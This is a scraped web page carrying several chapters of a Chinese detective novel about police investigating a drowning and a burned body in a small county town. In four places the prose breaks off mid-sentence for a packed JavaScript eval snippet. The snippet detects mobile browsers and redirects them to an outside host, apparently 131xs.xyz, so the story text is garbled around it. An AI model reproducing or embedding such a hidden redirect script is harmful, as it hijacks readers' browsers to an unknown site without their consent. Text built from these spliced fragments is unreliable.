“耿登他爸爸和爷爷都是村里当时唯一的赤脚医生。我们这个村,偏远又穷,没什么人来,但是他家医术好,是祖传的,所以周围几个村子的人有什么病啊灾的,也来我们村子。 “专门找他们看病的人多了,他家渐渐地就发达了,还开了个诊所。但是‘富不过三代’,到耿登这一代就不行了。 “他家有两兄弟,他是老二,上面还有一个哥哥。他是个踏实的人,他哥哥比他大十二岁,懂事得早,他爸就把医术和家里的诊所传给了他哥。但是吧……” 老人说完,又砸吧了一口,回忆往事:“但是他哥不行,从小偷鸡摸狗,不是个正经人。他接手诊所之后,更加过分。以前还有个去看病的小媳妇,隔壁村的,被她男人领着去诊所大闹要钱,说他哥手脚不干净,名义上看病听诊,实际上偷摸他媳妇胸口……” 老人瞅了眼坐在他身边的班青,有些不好意思,声音越来越小。 班青一脸平静,接着问道:“所以他家诊所就黄了?” “那个时候有一点黄了,毕竟传出去名声不好听,但是真正倒闭是在前几年,耿登接手之后。”烟圈从他嘴里吐出来,消散在空气里。 他想了想,突然换了个说法:“哎呀,也不能说是他搞黄了,没有办法,那时候基本每个村子都修了路,大家都去医院看病了,还有好多人去县城打工,人也越来越少,他家的诊所就开不下去了。” 老人又抽了一口烟,吐出个烟圈来,将烟头在田埂上按熄了。 “女人嘛,谁不想过好日子?不过话也说回来,男人也想过好日子哈。诊所黄了,他媳妇就跟着村里的女人们一起去县城打工。 “慢慢地,就有人乱传,说她跟厂里的工人好上了。耿登就跟她吵啊,吵得越来越厉害,加上他喝酒,喝多了就打人,那真是不要良心地打,拉都拉不住。 “没过多久,他媳妇就直接跟他离婚了。两个小朋友一个都没被带走,现在还跟着他们的奶奶生活。” 白杨又摸出烟盒,再递过去一根香烟,问道:“有听人聊过,耿登现在在哪儿、干什么工作吗?” 老头再次不好意思地摆摆手,在白杨的坚持下又接了过来。 “多多少少听了一点。最开始在一家酒店当保安,后来被老板的亲戚顶替了,就去工地上打杂。不过他看着高大,但从小就没吃过苦,所以没什么力气,也没干上多久。之后就混一天算一天,可能打些零工吧,也没再听他婶子提起过了。” 两人再跟老人问了耿登家的方向,踩着脚下被晒得发黄的野草,踏着交错蜿蜒的田埂,往另一处山头去了。 5. 往事 那座山头看着很近,仿佛就在眼前,一炷香的时间就能到,可是弯弯绕绕、七上八下,又花了两人小半个钟头才到。 耿家的老屋就坐落在半山腰。 通往院子的石子路两旁种满了橘子树,树梢长长地伸展,在道路中间投下大片斑驳的树影。 院子里的两条老黄狗蔫蔫地趴在门口,伸着舌头喘气。 班青和白杨抬手拨开橘子树叶,顿时发出一阵簌簌的声响,两条狗随即一跃而起,朝着两人猛扑过来。 “汪——汪——” “大黄二黄,听话!”听见狗吠声,门口迅速走出来一个穿着围裙的中年女人。 她跺跺脚,又挥挥手,大黄二黄发出呜呜的几声,而后听话地跑开。她有些疑惑,仍然冲两人抱歉地笑了笑,问道:“你们找谁?” “这里是耿登的家吗?我们找他的母亲。” “耿登的妈妈?什么事情?她现在不在,前天晚上突然身体不舒服,送到镇上住院了。年纪大了,身上毛病多,估计要好几天才回来。你们找她什么事情?我是耿登的婶子,可以跟我说。” “你好,我们是县里来的警察。”白杨把自己的证件递给她,“这是我们的证件。” 耿登婶子把手放在围裙上擦了又擦,一脸困惑,接过证件看了,迟疑地问道:“是,是耿登……犯了什么事吗?” 班青沉沉地吸了一口气:“耿登死了。” 白杨和班青坐在耿登家的堂屋里。 白杨环视了一圈,这是个年代久远的老房子,看着破旧,不过倒也还算干净整洁。 四面的墙上尽是斑驳,似乎很久之前粉刷过,只是时间太长已尽数脱落,只留下斑斑点点的白痕。屋里的桌子和凳子都有着不同程度的破损,尤其是桌脚和凳脚,被潮湿的空气咬得失去了棱角。 耿登婶子端来一陶瓷盅的开水,放在堂屋中间的矮脚桌子上。放上去的一刹那,桌子似乎再也经受不住任何的重量,左摇右晃,过了一阵子又认命一般,承受了重力,平缓下来。 “对不住了警察同志,家里茶叶喝完了,还没来得及买。”耿登婶子手在围裙上不停地擦,眼底茫然,又有些不知所措。 班青见了她的模样,有些不忍:“没关系,是我们添麻烦了。” “登子,是,是怎么了?怎么就……”耿家婶子安静了一会儿,突然问道。 “几天前下了场暴雨,第二天岸边出现一具尸体。经过我们这几天的查实……死者正是耿登。” “会不会是搞错了?怎么会是登子呢?”妇人激动地发问,两眼无措得不知道看向哪里。 她的双手攥紧了腰间的围裙,攥得手指发白,而后又颤颤巍巍地放开。 班青和白杨两人没有说话,只是安安静静地坐着,等待眼前的人平复下来。 耿家婶子看着眼前平静的两人,不得不接受了这个事实。 “登子……是谁害的?”她的声音闷闷地,听不太清楚。 班青摇了摇头:“现在还在调查。所以,我们想跟你了解一下,他平时跟谁来往得多些。” “那孩子是个闷葫芦,主意大,从不跟家里讲这些的。” 她扯来一张有些的小凳子,顾不得拂去上面的灰尘,认命地坐下,叹息道:“这个家到底是招谁惹谁了?孩子的奶奶现在还在住院,孩子爸爸又出事了。” 班青安慰地问道:“孩子现在在哪儿呢?还有几天就要开学了吧。” “就是啊,俩孩子现在暂时在我家住着……哎,耿登说在外面多干几天活,等钱挣到了,开学了就送他俩去学校报到。所以那俩孩子日盼夜盼,就等着开学,等着见到爸爸。结果……我回去怎么跟他们交代……” “我们一定尽全力找出凶手,给你们一个交代。”白杨静默半天,突然张口道。 耿登婶子抬头看了看两人,有气无力地笑了一下,又叹了一口气,转头看向堂屋中间挂着的耿家爷爷的照片。 一会儿后,她不无可惜地说道:“这就是命吧,如果老头子没有执意让他哥接手家里的诊所,而是让耿登跟着他干,这个家就不会变成现在这幅样子了。” “耿登他哥——” “死了,死了二十几年了。呸!不成器的东西,死了就算了,害了一大家子人,连累大家跟着他受累!不得好死的东西!” 班青眼见着耿家婶子越来越激动,端起桌上的搪瓷盅递给了她:“先冷静冷静。” 白杨想起调查资料上的一个名字,试探性地询问:“耿登他哥……是叫耿攀吗?” “对,就是耿攀。” “他是怎么死的?” “被人一刀捅死的。该死的东西,被人捅死也活该!”耿家婶子唾骂了几口,“当初耿攀接手他爸的诊所,不好好干就算了,还,还……哎算了,净是些丢人现眼的旧事,我都不好意思张嘴说。” 白杨和班青想起背柴火的老爷子所说,心中了然,默契地都没再追问。 耿家婶子继续说道:“反正就是发生了些丢死人的丑事,被人家男人找到家里来了。老爷子赔了好些钱,那家男人就回去了。” 她突然想起了什么,放下搪瓷盅,叹气道:“回去后没多久,那家的女人想不开,找了根绳子吊死了,后来,后来她男人又来讹了一笔钱。” “死了?”班青的眉头皱得紧紧的。 “嗯,死了,要是活着的话,跟我岁数差不多。诊所害死了人,一传十,十传百,谁还敢来看病? “后来啊,隔壁村的李家小子学医回来开了个诊所,大家渐渐都去那边看病。再后来,镇上医院也开起来了,更没人来了。 “耿登接手的时候就已经是个烂摊子,他哥搞臭家里的名声,他爸也死了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056057|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个家可不就一天天的败下来……” 白杨好奇地问道:“那……他哥是被谁杀害的?” 耿家婶子只是摇头:“不清楚,我只听说,是他去城里喝喜酒,醉了后人事不省地倒在路边。第二天路过的看到血流了一地,他躺在水泥地上,早都没气了。” “警察那边——” “警察查过,没查到谁干的。那个时候不像现在,乱得很,去车站坐车都不敢戴项链耳环的年代,没人看见,又没有监控,能查出来什么?家里人把尸体领回来,做场法事,就算了。” 耿家婶子说得口干舌燥,端过搪瓷盅喝了一口:“只是想不到,耿登怎么也……” 班青安慰道:“耿登的事情我们也很难过,我们一定尽全力……” 耿家婶子把搪瓷盅放回了桌子,桌子又是一阵摇晃。 “警察同志,我信你们。只是人没了已经是个事实,登子的后事,我和他叔叔给他办了。但是两个孩子和孩子奶奶那边……尤其是孩子奶奶,现在还在住院,她要是知道了……” 班青立即跟她保证:“我们了解的,孩子还小,没必要知道,孩子奶奶那边我们暂时也不会去打扰。你放心!” 走出耿家院子的时候,两个人心里都很不是滋味。 耿家就像堂屋中间矮小的旧桌子,堆满太多零碎往事,再也承受不住任何的重压。偏偏命运的大手一挥,半点怜悯都没,再次给这个家庭一场天崩地裂的浩劫。 白杨走在盘山的石子路上,伸手拂开侧方垂落下来的厚重树叶,感慨地说道:“也是个苦命人,孩子还没养大,又横死。” 班青双手插兜,看了一眼并肩走着的白杨,平静地看向前方:“他老婆和妈妈也挺可怜的,一个外出挣钱还要遭受无端的殴打和谩骂,一个六七十岁,丈夫和儿子都死了,还要替她儿子养两个小孩。” 跟她共事五年,她很少露出情绪化的一面,通常跟她冷酷的外表保持一致,还是第一次听到她如此心软的表达。 白杨一阵错愕,看向满脸认真的班青。后者十分淡然平静,双手插在裤子两侧的兜里,不急不缓地走着,好像心中并没有波澜。 班青的身高和他差不了多少,大概到他耳朵的位置,一米七几的身高,在这座南方的小县城里并不多见。 她眼睛细长,眼尾上扬,嘴角下垂,长了张厌世脸,只要不笑就好像在生气,让人不敢靠近。 记得他们第一次见面时,她面无表情地板着脸靠在门框上,明明是个新人,却一副“生人勿进”的样子,险些给他一个下马威。 后来渐渐地熟悉了,才知道她天生就这样,实际上性格随和,有时候大大咧咧还像个孩子。 两人沿着山路缓缓地走着,西下的日头最是毒辣。 承受着烈日的暴晒,听着耳畔蝉鸣的嘈杂,两人心绪复杂,谁也没再说话。 6. 监控 在班青和白杨到河阴村查案的同时,蔡小新和梁斌则联系了当日打电话认尸的人。 耿登住处,三个人挤在这片狭小的空间,显得更加拥挤。 这是位于老城区的一栋楼房,耿登租住在楼房最顶层的阁楼。 安城的夏天最是炎热,房屋的顶层更是热得难以呼吸,就算晚上十点也降不下来温度,寻常人忍受不了如此高温,因而房东租出的价格也很低廉。 据知情人说,死者生前在阁楼里住了大半年,虽说住的时间长,屋内却并没有太多陈设。 几件磨损得看不出原本颜色的短袖,两三条换着穿、沾了许多灰尘的黑色短裤,两个劣质的塑料盆,还有些刮胡刀之类零零散散的小东西,就差不多是耿登生前全部的用品。 屋子中间摆放着上一任主人留下的简陋木床,床畔的木条脏污得发亮,一坐上去便会发出咯吱咯吱的巨大声响,并随着人的动作,时不时再咯吱上几声。 床单油亮发黄,看不出本来面目,随意地铺在上面。下摆部分偶有几个烟头烫出来的洞口,靠近床头的部分被主人的头油蹭得更是油光发亮。 床侧放着一个不知道倒了几手的破旧电风扇。 耿登的同事周强看两人热得话都说不出来,忙扯来床底下的插线板,给电风扇通上电。 电风扇咿咿呀呀地摆动,像是个缠绵在病榻、处在弥留之际的老人,喉咙中哼哼唧唧,声音随着费力抬起的手指飘忽不定,说不出半个字。 终于,老人咽了气。 屋子里的破旧电风扇转动了一阵叶片之后,也停止了摆动。 周强尴尬一笑:“不好意思啊,警官,条件就这样了,没办法,我找找看有没有扇子。” 他局促地挠了挠头,正要在屋子里翻找,梁斌看见了,赶紧制止他:“周大哥,别别别,没关系,我们忍一忍就好,别翻乱了现场。” 蔡小新粗略地往四下一看,别说是扇子,连张纸片都没有。 他是个有话直说的直肠子,有什么就说什么:“这地方可真不是人待的,快给我热成热狗了。” 梁斌笑得眼角的皱纹都出来了,怕自己笑出声,赶紧捂住嘴巴偷偷乐。 周强没仔细听他的话,他非常理解耿登的处境。 “还不是没有办法的事情,有钱谁住这种破地方?我去年整个夏天都住阁楼,热得我背上都是痱子,还差点中暑进医院。 “今年多挣了点钱,赶紧搬走了。但是登子不一样,他老婆跑了,他一个人养两个孩子,真是不容易,还得了病——” “得病?什么病?”梁斌笑不出来了,蔡小新也难得的正了脸色。 “好像是胰腺上的毛病,反正登子说他没多少日子了,趁着还能干,给他两个孩子多攒点钱。” 蔡小新突然想起耿登手中的戒指,跟周强打听道:“你注意过没,耿登手里戴没戴过婚戒?” “啧,乡下人戴什么婚戒嘛?而且都离婚了,就算有,肯定都不戴了噻。” 良久之后,梁斌掏出个黑色胶皮笔记本,盯着周强问道:“周大哥,我看你挺熟悉这儿的,之前经常来吗?” “我熟啊,我之前也住在这儿的,就在隔壁。但是最近太热了,我这人不经热,实在受不了,就换了个地方住。” “你什么时候搬出去的?” “嗯……小半年了吧,我想想啊……对!五月份搬的,离这儿也近,之后耿登就一个人在这住。我们两个还在一块儿搬货,所以时不时也过来找他喝喝酒,但最近我换片区了,来得少了。”周强说完,又抹了一把额头上的汗水。 “那你上次见他是什么时候?” “就是你们发现他尸体前的几天,具体几天我记不清楚了。那天下了工,我想起好久没找他了,就约他出来喝啤酒。打他电话,他没接。我想着反正挺近,就过来叫他。刚到楼下就看见他走了,走得还挺急。我喊了他两声,估计他没听到。” “周大哥,你再仔细想想呢,具体是什么日子?”梁斌从黑色笔记本中抬起头,给他个期待的眼神。 周强被他看得心慌:“哎呀,这个怎么记得住哦,都好久了,我记性不——” “不是要找他喝啤酒吗?后来喝了没?”蔡小新扯了一把湿乎乎黏在脖子上的衬衣,龇牙咧嘴地问道。 “喝了的呀,我另外找人一起喝的。” “那问一下你的朋友,你们都想一想,帮帮忙啦。” 周强连着打了四个电话后,终于有人想起来了。 8月14日晚上。 显示器前,四个人目不转睛地盯着。 视频中,8月14日晚上9点51分,身形瘦削的耿登穿了一件黑色的T恤和一条穿到发白的黑色短裤,从他租住的大楼里走了出来。 隔着十几米的地方,周强在阶梯下面,看见了他,垫着脚跟他招手,好像在喊他。 此时,视频右上角的大街上,一辆巨大的冷链车飞驰而过。 应该是掩盖了周强的声音,加上耿登走得很急,没有听到有人喊他,他三步并作两步,很快就走下另一侧的阶梯,消失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056058|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在视线之中。 梁斌切换到另一个视角。 只见耿登走下阶梯之后,沿着脚下的利民路一直走。好像在散步,他在附近的几条街上来来回回,最后径直往关图县最大的商场走去。 那是一个新开业的商场,当日正是人流量最大的时候,耿登挤进人流后,几个眨眼的功夫就消失了个彻底。 “商场这段我看了得有十遍了,真找不到,人流量太大了,就跟鱼儿进了河一样。这人可真狡猾。”蔡小新懊恼地说道。 白杨沉默一会儿,看向明显更加靠谱的梁斌:“商场几个出口的监控都看了吗?” 梁斌摇了摇头:“也都看了,当天人实在太多,耿登穿的又是件黑色T恤,虽说商场晚上也有灯光,但当时太晚,看得我眼珠子发酸也没看到他怎么走出商场的。” 蔡小新灵机一动,恍然大悟道:“我明白了!他肯定不是当天晚上出去的,指定在商场某个隐蔽的角落躲起来,第二天再找个机会走出去。或者……或者是凶手直接在商场杀了他!” 班青撇了撇嘴,本想忽略他的话,却怎么也忍不住,反问蔡小新:“要是你,穿得这么低调,大晚上,人又那么多,你不趁机浑水摸鱼赶紧闪人,难道要等到第二天,光天化日之下众目睽睽地离开?” “也……也不是没有这个可能。”他的语气已经不自信起来。 “再说,凶手直接在商场杀了他的话,怎么搬运尸体?得多嚣张、多自信才敢在商场杀人?这是符合常理的吗,你觉得?” “嗯……倒也是哈。” “哈什么哈,跟个二哈似的。”白杨看着他们你来我往,最后笑着补了一刀。 事情再次陷入僵局。 班青和白杨等四人还没理清楚头绪,上面规定的时间就已经到了。 领导办公室里,四人并排站着。 头发再也不能稀疏的领导,板着脸坐在四人面前,眼中盈满怒火,口中唾沫横飞,时不时怒而起身,又猛地拍几下桌子,吵得四人脑袋嗡嗡响。 他突然一起身,“怀胎十月”的肚子便撞在猪肝色的桌子上,硕大的肚子像掉落在地上duang duang翻腾的果冻,乐得蔡小新“噗嗤”一声笑出来,连累其余三个人跟着他又多挨一顿骂。 虽说挨骂的时间略长了一些,骂人的嗓门略大了一些,却像是多天来绷紧的皮筋瞬间断开,虽然是断了,却有着无比的放松。 好歹能够喘上一口气了。 不过没喘上几口,事情又来了:火场的DNA结果出来了。 7. 火场焦尸 “DNA鉴定结果怎么说?” 班青把鉴定报告递给白杨。 “喏,你看看。经过比对,火灾现场尸体残留下的牙齿骨骼和白色T恤上的血液属于同一个人。同时也采集了汪明远儿子周凯的DNA进行了鉴定,目前可以初步确定,死者正是汪明远。 “同时也对火场外发现的手机进行了数据修复,可以确定,就是汪明远的手机。” 白杨翻了翻报告,头也没抬地问道:“工厂附近能找到监控吗?” 班青摇摇脑袋:“厂子入口左侧的电线杆子上有一个,但是厂子荒废后就没用了。” 白杨不置可否,拧紧眉头,几乎能夹死苍蝇,拿起手边的火灾现场照片翻看。 “不过水泥厂附近有户养鱼的人家,他家的监控碰巧拍到了。” “……你能不能不要说话大喘气?” 14日晚上的监控视频里,一个穿着白色T恤的人,被一团黑影拖着,十几秒钟之后进入了工厂。 四下一片漆黑,什么都看不分明,只有T恤的白色,在夜里稍微有些明显。 没过多久,同一条小路上,另一个穿着黑色T恤的小个子男人低着脑袋,匆匆走入了工厂。 之后三个人都没再出来。 虽然视频里能看见几个人移动的身影,但是摄像头距离案发现场实在太远,尽管已经将视频放到最大,几人的脸也看不分明。 班青做出了她的猜想:“就监控视频的内容,结合汪家门口发现的带血T恤,以及现场的焚烧情况来看,可以初步推测:14日当天,有人先绑架了他,打晕后拖拽到厂子里;16日上午将带血的白T恤放到他家门口威慑,并在当天晚上点燃汽油,导致了他的死亡。” “现场只有汪明远的尸体,其他两个人是怎么消失的?”白杨一下点出不合理的地方。 “应该是逃走了。梁斌和小新他们今天又去现场查看了一遍,城南水泥厂靠近河岸的那一边还有个侧门。 “平时是关闭的,从外面进不去,但是可以从里面打开。推测凶手进入水泥厂后,发现了这道门,然后从河岸离开。但不乐观的是,河岸一带的监控坏了。” 白杨搓了搓脸,瓮声瓮气地自言自语:“14日中午走出学校,16日晚上死亡,长达两天半的时间,凶手都没有动手,并且中途还拿出了沾着死者血液的衣服。可他为什么两天后突然动手……又到底想要从汪明远那里拿到什么……” 回应他的,只有窗外的鸣蝉,可惜鸣蝉不会说话。 另一边,警察扩大了学校附近的监控搜索范围。 关图中学的后大门出去是一条小吃街,14日中午,汪明远走出校门的时候,因为还没开学,街上只有寥寥几人。 警察查看了小吃街尽头电线杆子上的摄像头,视频里清晰地显示,汪明远穿着白色T恤从学校后门出来,埋头径直走向他平时停车的地下停车场,之后就再也没出来。 警察又调取停车场里的监控,看见汪明远进入停车场后,直接走向了昏黑一片的安全通道。 通道往左走十米就是三部电梯,人们大多都走电梯,很少有人走楼梯。 警察接着调取了大楼几个出口的监控,画质不佳,又看了好几遍,看不出个眉目来。 正是中午饭点的时间,大楼里工作的白领纷纷出去吃饭,偶有几个外卖员匆匆忙忙地跑进跑出,却始终没有汪明远的身影出现。 这人凭空消失,又瞬移到了城南的水泥厂里,接着……死在了那儿。 “动机查得怎么样了?”白杨看向刚回来的蔡小新和梁斌。 二人刚从外面回来,热得一屁股坐下。 蔡小新一回去就灌了大半瓶水,歇了一会儿终于缓过劲:“从走访的结果来看,汪明远平时待人和善,斯文,脾气好,很少和人冲突。目前只有两个人嫌疑较大:一个是汪明远的妻子周琳,一个是秦乐乐的父亲秦晓峰。” “说来听听。” 梁斌一边擦汗一边回应:“聚业小区3栋的邻居普遍反映,这俩夫妻感情不太好,经常吵吵闹闹,从不消停。对面邻居于老太更是多次听到两人吵着要离婚。但不知道什么原因,一直没离成。” 白杨不由得想起汪明远家茶几上的杯子,想起它碎裂但用胶布粘起来勉强使用的手柄。 他撑着下巴,随口问道:“汪明远家的经济状况如何?” “怪就怪在这儿!我查了两个人的财产状况,怎么说呢……他俩还挺低调的,反正跟他们俩平时表现出来的不匹配。” 话一说完,梁斌便递给白杨和班青一份资料,两人忙接过来看了看。 一时间,白杨看完并没有说话,班青却若有所思起来。 “其实……我也觉得那家人不对劲。”班青接过蔡小新喝完的空瓶子,远远地投进角落的垃圾桶。 她继续道:“汪明远是关图中学的老师,周琳是康尼公司的员工,那是安城最大的垄断性企业。不说大富大贵,也是个双职工家庭。” 白杨点了点头:“嗯,继续。” “聚业小区是很早的职工家属院,稍微有点钱的人都搬走了,只有些行动不便的老人还留着。按他俩的经济状况来看……很不应该。 “而且你看他家的家具和电器没?都是些老式的,破成什么样了,现在这个年代谁还用那些东西?” 白杨转了转笔头,笑了笑,指着班青用作通勤包的奶茶包装袋:“说不定人家家风严格,勤俭节约呢?” 说起来是个包装袋,其实和菜市场装西红柿的一次性袋子也没什么区别,只是上面多印了几个卡通人物,破破旧旧,早没了形状。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056059|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “噗嗤!”蔡小新和梁斌正好喘足了气,好整以暇地捂着嘴跟着笑。 “我……我就爱用,你管不着。嘿!分析案情,你扯我做什么?” “好好好,我不瞎扯。”白杨赶紧收回他漏出的大白牙。 班青沉思一阵,回想到16日去聚业小区和关图中学的情景。 “那天早上,我在他家阳台绿植的泥土里发现了茶叶,然后我去了厨房,但没找到喝剩下的。后来我们又去了汪明远办公室,我翻了他的抽屉,里面放了两盒。” 白杨三人你看我,我看你,都不明白。 蔡小新耸耸肩:“咋啦,喝茶有啥奇怪的?老陈不是也爱喝嘛,杯子都喝黄了。” 说完,他努努嘴,看向对面斜角坐着的杨警官。 对方戴了副老花镜,端起白瓷杯正往嘴里送。 “那茶叶很贵?”白杨试探性地问道。 班青肯定地点点头:“非常贵。而且茶叶这种日常的东西和偶尔买的奢侈品不一样,每天都要消耗。所以……他家的财产状况,绝对不一般。” 白杨再次想到他家茶几上用胶带粘合起来的杯子,上面写着“恭祝黄达先老人八十大寿”,又烂又破就算了,还是个吃酒送的。 这倒是有意思了…… 梁斌说了半天,说得口干舌燥,喝了口水后,继续讲周琳的调查情况。 “周琳和汪明远结婚后的次年,生了个儿子,叫周凯,现在在安城大学就读,马上读大三。 “我们向周琳的同事了解过,她话不多,有点自我,没什么朋友,但为人看着倒还算和善。她不怎么爱跟同事分享家里的事情,只偶尔提到她的儿子,所以她同事不知道她和汪明远感情如何。 “案发前一段时间,她和平时一样,每天准点上下班,单位的同事和她家对门的邻居都可以证明。案发的前几天请了假,去给她乡下的姨夫奔丧。” 班青听了,陷入沉默中,白杨也转了转笔头,不说话。 梁斌感受到屋里的安静,突然敲了敲脑袋,想起了周琳的另一件事。 “哦对了,周琳家倒是有一点不寻常的。她是关图县土生土长的人,小时候跟她母亲租住在城南厂区附近的筒子楼里。结婚后搬了出来,她妈就一个人在那儿住,没过几年她妈妈生病去世。” 白杨有些狐疑,问道:“她爸爸呢?” “不寻常的就在这儿。没有关于她爸爸的记录,也没人见过这个人,他从来没有出现过。” 白杨沉思一阵,又拿起一支笔,圈住了周凯的名字:“这个周凯呢?案发前几天,他什么情况?” 蔡小新接过话头:“排查了一圈,向他同学和老师了解过情况,案发的时候,他跟几个同学在宁城做社会实践,直到确认汪明远死亡后,他才赶回来。” 8. 嫌疑人 白杨提笔,打算在周凯的名字上打个叉,笔尖停在纸张上,又停下:“秦乐乐和秦晓峰呢,又是怎么个事儿?” 梁斌赶紧拿出自己的笔记本,翻了翻。 “秦乐乐是汪明远上一届的学生,汪明远带了他们班三年。这个女孩虽说资质一般,但踏实、能吃苦,考个一本不成问题,但在高考前几个月,她跳楼了。 “听秦家邻居讲,她父母关系不好,好像双方都有婚外情。高考前几个月,情人节的时候,四个人在街上碰到了,大打出手,最后闹到了派出所。” 梁斌脸皮薄,说到此处稍微有点尴尬,他抬头一看,班青和白杨都认真听着,只有蔡小新飞了个打趣的眼神给他。 梁斌也还他个白眼,继续回到正题。 “这种事情纸包不住火,很快就在咱们这小地方传开了。秦乐乐认识的亲戚、朋友还有同学都在传,他们猜测,估计是觉得抬不起头,一天晚自习的时候,秦乐乐从教学楼顶楼跳了,当场死亡。” 班青皱着眉头,疑惑地问道:“这和汪明远有什么关系?” “按理来讲也没有什么关系,因为家庭矛盾跳楼,能跟班主任扯上什么干系?但是秦晓峰就这一个女儿,他又认死理,认定是秦乐乐学业压力大,所以才跳了楼。” “从教学楼跳下……难道为了跟学校要钱?”白杨插了一句。 梁斌摇摇头:“事后,校领导对秦晓峰轮番劝说,一通商量,结果他什么都没要。坚持让汪明远进监狱,给她闺女偿命。后来,他还经常往学校还有汪明远家里寄东西,有刀片、恐吓信、死掉的青蛙和老鼠……寄了整整一年,两年前才消停。” “依据呢,他为什么就认定是汪明远,总得有个由头吧?”班青更疑惑了。 “依据?你们这些小年轻都不了解秦晓峰哦。他这人,做事从不管依据,就是个混不吝!”老陈端着他发黄的白瓷杯,正巧从旁边经过。 “这个秦晓峰,上了年纪的人哪个不知道?”他一只手做了个上抬的动作,冲蔡小新努努嘴,后者就乖乖地站起来给他让了个座位。 老陈做作地吹了吹茶杯,再不经意地抬头、叹气。 四个人都盯着他,就是没人问。 他又等了等,见四人还是沉默,好像笃定自己憋不住话一样。 行吧,他确实憋不住,半分钟后,终于忍不住回忆起过去。 “咱们县的码头知道吧,虽说现在用不上了,十几二十年前可繁华得很。秦晓峰最开始在码头上混,痞里痞气,不安分,干活的时间少,大多时候都跟人吃酒打闹。后来越发厉害,打架斗殴,小偷小摸,被关了几次,也不收敛。” “那老陈,你觉得,他有没有胆量杀人?”蔡小新抱臂,斜倚着老陈的座位问道。 “这我可说不准。不过后来他的秉性改了不少,还改了行,进了厂。前几年厂子倒闭,就做了出租车司机。脾气倒是一点儿不改,总跟乘客起冲突,是局里的常客了。” 说完,他下意识地将杯子放到嘴边,突然想到什么,作势要踢蔡小新:“老陈也是你叫的?没大没小!” 蔡小新嘿嘿一笑,扭头就躲到了梁斌身后,还冲老陈做了个鬼脸。 班青突然抬起头:“工厂……哪个工厂?” “南郊的水泥厂,不过早就倒闭了,那一片都荒了。” 班青和白杨进入病房的时候,一个腿上打了石膏的男人正躺在病床上玩手机,不时还发出几声痴痴的笑声。 “秦晓峰,有人找!”护士双手插兜,站在门外大喊一声,看都懒得看他一眼,转身便走。 秦晓峰满脸yin荡的笑容,闻言,擦了擦流淌到嘴边的口水,不情不愿地看向门口,眼里全是不耐烦。 “谁啊?” 白杨凭借他5.2的视力,站在几步开外,就看到那屏幕上衣着清凉的女人。他不动声色地上前几步,将班青挡在他身后。 “大白天的,兴致挺高啊?” “你管我!你谁啊你,找我干什么!” 声音挺大,但听起来底气不足,直到看了白杨和班青的证件之后,彻底歇了火。 秦晓峰撇了撇嘴巴,又把手机藏在枕头底下,扯过被子盖在身上,只露出个脑袋,哎哟哎哟直叫唤。 一套卖惨的动作行云流水,看得后边的班青扯着嘴角止不住的笑。 白杨可不吃他这一套。 “别跟我来这个,我刚才问了护士,你过两天就能拆石膏。” 原来,这人二十天前就摔断了腿,在医院躺着,一直躺到现在。 正如老陈所说,秦晓峰是个不折不扣的混不吝、老滑头。 为了多挣几个子儿,载着外地旅游的乘客绕远路,结果被人家发现,两方人马站在马路中间吵了个天昏地暗。 两边各自操着一口家乡方言,虽说彼此听不懂,倒也不妨碍骂爹骂娘。 那乘客是个嘴皮子利索的文化人,虽然不动手,但是全程对着秦晓峰指指点点、吆五喝六。 秦晓峰是个曾在码头混迹多年的混子,一身江湖气,众目睽睽之下,气势上落了下风,还被一些个无关之人看了场免费的笑话,哪能受得了这种气? 他几步上前,一把攥住对方指着自己的手,往后一拽,一个流畅的过肩摔就将乘客挥在他身后的柏油马路上,砸得对方哼哼唧唧直叫唤。 嘴上也不饶人:“也不看看这是什么地方?再敢跟我横,跟我这儿指指点点,别想走出关图县!” 乘客被他的威胁唬住了,怯懦着不敢还口,只躺在地上蜷缩着,一阵阵的痛呼。 他害怕迟则生变,当晚就收拾东西,灰溜溜地坐飞机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056060|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回了家。 